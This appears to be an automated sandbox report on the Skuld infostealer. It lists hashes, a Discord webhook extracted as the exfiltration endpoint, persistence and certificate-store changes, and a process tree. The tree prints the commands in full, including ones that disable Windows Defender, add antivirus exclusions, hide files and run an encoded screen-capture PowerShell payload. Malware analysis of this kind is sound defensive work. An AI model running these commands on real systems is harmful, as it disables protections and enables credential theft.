Analysis
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max time kernel
150s -
max time network
134s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
17-10-2024 02:35
Behavioral task
behavioral1
Sample
skuld.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
skuld.exe
Resource
win10v2004-20241007-en
General
-
Target
skuld.exe
-
Size
9.8MB
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MD5
87ed2bc27b79ed4dae0656ba8e7d0a0b
-
SHA1
cc1bdee540eab3c8de7eff233dd51da5fefaf5a1
-
SHA256
ef2e90de4deb96b92ceebde16d7fa018ede52fc383480041735c1a08899a76f2
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SHA512
b82ab4ec6c7f581a7d557a10c17550cf8f9779e882781b6402a4eea74758ed1df0022887a7789fde3dc9a36d3aee67dcb38c6b586ba63aea24298bbf9da07ff2
-
SSDEEP
98304:whVUolosXFyBQ/yjUvqkskS67KEjipBJZrZ6QmjDx:whdosXKKqkskn7XS5mjDx
Malware Config
Extracted
skuld
https://discord.com/api/webhooks/1296277918661738547/GvUWEusnErfhpdvz7DEgE8VzXSZ8oWS_ujEIVSB0XhETe5iWx3tB8zm_wjAS1bJTlXLF
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid process 3548 powershell.exe 4200 powershell.exe -
Drops file in Drivers directory 3 IoCs
Processes:
attrib.exeskuld.exeattrib.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts skuld.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
skuld.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe" skuld.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 11 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes:
description flow ioc HTTP User-Agent header 12 Go-http-client/1.1 -
Processes:
skuld.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 skuld.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 skuld.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
skuld.exepowershell.exepowershell.exepowershell.exepid process 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3548 powershell.exe 3548 powershell.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 4200 powershell.exe 3332 skuld.exe 3332 skuld.exe 4200 powershell.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 2856 powershell.exe 2856 powershell.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe 3332 skuld.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
skuld.exewmic.exepowershell.exepowershell.exewmic.exedescription pid process Token: SeDebugPrivilege 3332 skuld.exe Token: SeIncreaseQuotaPrivilege 4160 wmic.exe Token: SeSecurityPrivilege 4160 wmic.exe Token: SeTakeOwnershipPrivilege 4160 wmic.exe Token: SeLoadDriverPrivilege 4160 wmic.exe Token: SeSystemProfilePrivilege 4160 wmic.exe Token: SeSystemtimePrivilege 4160 wmic.exe Token: SeProfSingleProcessPrivilege 4160 wmic.exe Token: SeIncBasePriorityPrivilege 4160 wmic.exe Token: SeCreatePagefilePrivilege 4160 wmic.exe Token: SeBackupPrivilege 4160 wmic.exe Token: SeRestorePrivilege 4160 wmic.exe Token: SeShutdownPrivilege 4160 wmic.exe Token: SeDebugPrivilege 4160 wmic.exe Token: SeSystemEnvironmentPrivilege 4160 wmic.exe Token: SeRemoteShutdownPrivilege 4160 wmic.exe Token: SeUndockPrivilege 4160 wmic.exe Token: SeManageVolumePrivilege 4160 wmic.exe Token: 33 4160 wmic.exe Token: 34 4160 wmic.exe Token: 35 4160 wmic.exe Token: 36 4160 wmic.exe Token: SeIncreaseQuotaPrivilege 4160 wmic.exe Token: SeSecurityPrivilege 4160 wmic.exe Token: SeTakeOwnershipPrivilege 4160 wmic.exe Token: SeLoadDriverPrivilege 4160 wmic.exe Token: SeSystemProfilePrivilege 4160 wmic.exe Token: SeSystemtimePrivilege 4160 wmic.exe Token: SeProfSingleProcessPrivilege 4160 wmic.exe Token: SeIncBasePriorityPrivilege 4160 wmic.exe Token: SeCreatePagefilePrivilege 4160 wmic.exe Token: SeBackupPrivilege 4160 wmic.exe Token: SeRestorePrivilege 4160 wmic.exe Token: SeShutdownPrivilege 4160 wmic.exe Token: SeDebugPrivilege 4160 wmic.exe Token: SeSystemEnvironmentPrivilege 4160 wmic.exe Token: SeRemoteShutdownPrivilege 4160 wmic.exe Token: SeUndockPrivilege 4160 wmic.exe Token: SeManageVolumePrivilege 4160 wmic.exe Token: 33 4160 wmic.exe Token: 34 4160 wmic.exe Token: 35 4160 wmic.exe Token: 36 4160 wmic.exe Token: SeDebugPrivilege 3548 powershell.exe Token: SeDebugPrivilege 4200 powershell.exe Token: SeIncreaseQuotaPrivilege 1848 wmic.exe Token: SeSecurityPrivilege 1848 wmic.exe Token: SeTakeOwnershipPrivilege 1848 wmic.exe Token: SeLoadDriverPrivilege 1848 wmic.exe Token: SeSystemProfilePrivilege 1848 wmic.exe Token: SeSystemtimePrivilege 1848 wmic.exe Token: SeProfSingleProcessPrivilege 1848 wmic.exe Token: SeIncBasePriorityPrivilege 1848 wmic.exe Token: SeCreatePagefilePrivilege 1848 wmic.exe Token: SeBackupPrivilege 1848 wmic.exe Token: SeRestorePrivilege 1848 wmic.exe Token: SeShutdownPrivilege 1848 wmic.exe Token: SeDebugPrivilege 1848 wmic.exe Token: SeSystemEnvironmentPrivilege 1848 wmic.exe Token: SeRemoteShutdownPrivilege 1848 wmic.exe Token: SeUndockPrivilege 1848 wmic.exe Token: SeManageVolumePrivilege 1848 wmic.exe Token: 33 1848 wmic.exe Token: 34 1848 wmic.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
skuld.exepowershell.execsc.exedescription pid process target process PID 3332 wrote to memory of 1356 3332 skuld.exe attrib.exe PID 3332 wrote to memory of 1356 3332 skuld.exe attrib.exe PID 3332 wrote to memory of 4160 3332 skuld.exe wmic.exe PID 3332 wrote to memory of 4160 3332 skuld.exe wmic.exe PID 3332 wrote to memory of 3548 3332 skuld.exe powershell.exe PID 3332 wrote to memory of 3548 3332 skuld.exe powershell.exe PID 3332 wrote to memory of 2904 3332 skuld.exe attrib.exe PID 3332 wrote to memory of 2904 3332 skuld.exe attrib.exe PID 3332 wrote to memory of 4200 3332 skuld.exe powershell.exe PID 3332 wrote to memory of 4200 3332 skuld.exe powershell.exe PID 3332 wrote to memory of 1848 3332 skuld.exe wmic.exe PID 3332 wrote to memory of 1848 3332 skuld.exe wmic.exe PID 3332 wrote to memory of 2856 3332 skuld.exe powershell.exe PID 3332 wrote to memory of 2856 3332 skuld.exe powershell.exe PID 3332 wrote to memory of 3116 3332 skuld.exe attrib.exe PID 3332 wrote to memory of 3116 3332 skuld.exe attrib.exe PID 3332 wrote to memory of 1260 3332 skuld.exe attrib.exe PID 3332 wrote to memory of 1260 3332 skuld.exe attrib.exe PID 2856 wrote to memory of 2992 2856 powershell.exe csc.exe PID 2856 wrote to memory of 2992 2856 powershell.exe csc.exe PID 2992 wrote to memory of 2228 2992 csc.exe cvtres.exe PID 2992 wrote to memory of 2228 2992 csc.exe cvtres.exe -
Views/modifies file attributes 1 TTPs 4 IoCs
Processes:
attrib.exeattrib.exeattrib.exeattrib.exepid process 1356 attrib.exe 2904 attrib.exe 3116 attrib.exe 1260 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\skuld.exe"C:\Users\Admin\AppData\Local\Temp\skuld.exe"1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3332 -
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe2⤵
- Views/modifies file attributes
PID:1356
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C:\Windows\System32\Wbem\wmic.exewmic cpu get Name2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4160
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3548
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C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe2⤵
- Views/modifies file attributes
PID:2904
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4200
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C:\Windows\System32\Wbem\wmic.exewmic os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1848
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgA